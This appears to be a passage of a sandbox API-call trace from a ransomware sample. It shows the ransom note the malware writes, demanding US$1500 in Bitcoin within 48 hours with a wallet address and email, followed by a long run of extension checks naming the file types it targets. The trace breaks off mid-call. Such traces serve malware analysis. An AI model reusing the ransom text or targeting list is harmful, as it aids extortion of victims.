ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.279] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.281] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.281] CloseHandle (hObject=0x90) returned 1 [0109.281] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll" [0109.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.ems") returned 0 [0109.281] lstrlenA (lpString="*.ems") returned 5 [0109.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.db") returned 0 [0109.281] lstrlenA (lpString="*.db") returned 4 [0109.281] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.dbf") returned 0 [0109.281] lstrlenA (lpString="*.dbf") returned 5 [0109.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.myox") returned 0 [0109.282] lstrlenA (lpString="*.myox") returned 6 [0109.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.myo") returned 0 [0109.282] lstrlenA (lpString="*.myo") returned 5 [0109.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.qbw") returned 0 [0109.282] lstrlenA (lpString="*.qbw") returned 5 [0109.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.qbb") returned 0 [0109.282] lstrlenA (lpString="*.qbb") returned 5 [0109.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.qbm") returned 0 [0109.282] lstrlenA (lpString="*.qbm") returned 5 [0109.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.qbo") returned 0 [0109.282] lstrlenA (lpString="*.qbo") returned 5 [0109.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.qbx") returned 0 [0109.282] lstrlenA (lpString="*.qbx") returned 5 [0109.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.qba") returned 0 [0109.282] lstrlenA (lpString="*.qba") returned 5 [0109.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.qby") returned 0 [0109.282] lstrlenA (lpString="*.qby") returned 5 [0109.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.qbj") returned 0 [0109.283] lstrlenA (lpString="*.qbj") returned 5 [0109.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.ofx") returned 0 [0109.283] lstrlenA (lpString="*.ofx") returned 5 [0109.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.qif") returned 0 [0109.283] lstrlenA (lpString="*.qif") returned 5 [0109.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.mye") returned 0 [0109.283] lstrlenA (lpString="*.mye") returned 5 [0109.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.mbox") returned 0 [0109.283] lstrlenA (lpString="*.mbox") returned 6 [0109.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.eml") returned 0 [0109.283] lstrlenA (lpString="*.eml") returned 5 [0109.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.pst") returned 0 [0109.283] lstrlenA (lpString="*.pst") returned 5 [0109.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.ost") returned 0 [0109.283] lstrlenA (lpString="*.ost") returned 5 [0109.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.idx") returned 0 [0109.283] lstrlenA (lpString="*.idx") returned 5 [0109.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.dbx") returned 0 [0109.283] lstrlenA (lpString="*.dbx") returned 5 [0109.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.sql") returned 0 [0109.284] lstrlenA (lpString="*.sql") returned 5 [0109.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.mdb") returned 0 [0109.284] lstrlenA (lpString="*.mdb") returned 5 [0109.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.fdb") returned 0 [0109.284] lstrlenA (lpString="*.fdb") returned 5 [0109.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.wab") returned 0 [0109.284] lstrlenA (lpString="*.wab") returned 5 [0109.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.dat") returned 0 [0109.284] lstrlenA (lpString="*.dat") returned 5 [0109.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.txt") returned 0 [0109.284] lstrlenA (lpString="*.txt") returned 5 [0109.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.jpeg") returned 0 [0109.284] lstrlenA (lpString="*.jpeg") returned 6 [0109.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.jpg") returned 0 [0109.284] lstrlenA (lpString="*.jpg") returned 5 [0109.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.png") returned 0 [0109.284] lstrlenA (lpString="*.png") returned 5 [0109.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.php") returned 0 [0109.285] lstrlenA (lpString="*.php") returned 5 [0109.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.cs") returned 0 [0109.285] lstrlenA (lpString="*.cs") returned 4 [0109.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.cpp") returned 0 [0109.285] lstrlenA (lpString="*.cpp") returned 5 [0109.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.rar") returned 0 [0109.285] lstrlenA (lpString="*.rar") returned 5 [0109.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.zip") returned 0 [0109.285] lstrlenA (lpString="*.zip") returned 5 [0109.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.html") returned 0 [0109.285] lstrlenA (lpString="*.html") returned 6 [0109.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.htm") returned 0 [0109.285] lstrlenA (lpString="*.htm") returned 5 [0109.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.xlsx") returned 0 [0109.285] lstrlenA (lpString="*.xlsx") returned 6 [0109.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.xls") returned 0 [0109.285] lstrlenA (lpString="*.xls") returned 5 [0109.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.mp4") returned 0 [0109.285] lstrlenA (lpString="*.mp4") returned 5 [0109.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.ppt") returned 0 [0109.286] lstrlenA (lpString="*.ppt") returned 5 [0109.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.pptx") returned 0 [0109.286] lstrlenA (lpString="*.pptx") returned 6 [0109.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.doc") returned 0 [0109.286] lstrlenA (lpString="*.doc") returned 5 [0109.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.dot") returned 0 [0109.286] lstrlenA (lpString="*.dot") returned 5 [0109.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.docx") returned 0 [0109.286] lstrlenA (lpString="*.docx") returned 6 [0109.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.7z") returned 0 [0109.286] lstrlenA (lpString="*.7z") returned 4 [0109.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.tar") returned 0 [0109.286] lstrlenA (lpString="*.tar") returned 5 [0109.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.bz2") returned 0 [0109.286] lstrlenA (lpString="*.bz2") returned 5 [0109.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.gz") returned 0 [0109.286] lstrlenA (lpString="*.gz") returned 4 [0109.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.mkv") returned 0 [0109.287] lstrlenA (lpString="*.mkv") returned 5 [0109.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.eml") returned 0 [0109.287] lstrlenA (lpString="*.eml") returned 5 [0109.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.msg") returned 0 [0109.287] lstrlenA (lpString="*.msg") returned 5 [0109.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.edb") returned 0 [0109.287] lstrlenA (lpString="*.edb") returned 5 [0109.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.accdb") returned 0 [0109.287] lstrlenA (lpString="*.accdb") returned 7 [0109.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.odb") returned 0 [0109.287] lstrlenA (lpString="*.odb") returned 5 [0109.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.java") returned 0 [0109.287] lstrlenA (lpString="*.java") returned 6 [0109.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.asm") returned 0 [0109.287] lstrlenA (lpString="*.asm") returned 5 [0109.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.pfx") returned 0 [0109.287] lstrlenA (lpString="*.pfx") returned 5 [0109.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.pem") returned 0 [0109.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.p12") returned 0 [0109.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.gpg") returned 0 [0109.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.vsd") returned 0 [0109.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.odg") returned 0 [0109.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.raw") returned 0 [0109.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.nef") returned 0 [0109.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.svg") returned 0 [0109.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.psd") returned 0 [0109.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.vmx") returned 0 [0109.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.vmdk") returned 0 [0109.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.vdi") returned 0 [0109.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.lay6") returned 0 [0109.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.mpeg") returned 0 [0109.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.djvu") returned 0 [0109.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.tiff") returned 0 [0109.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.backup") returned 0 [0109.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.pdf") returned 0 [0109.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.cert") returned 0 [0109.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.docm") returned 0 [0109.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.xlsm") returned 0 [0109.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.dwg") returned 0 [0109.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.nd") returned 0 [0109.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", pszSpec="*.tlg") returned 0 [0109.290] PathMatchSpecA 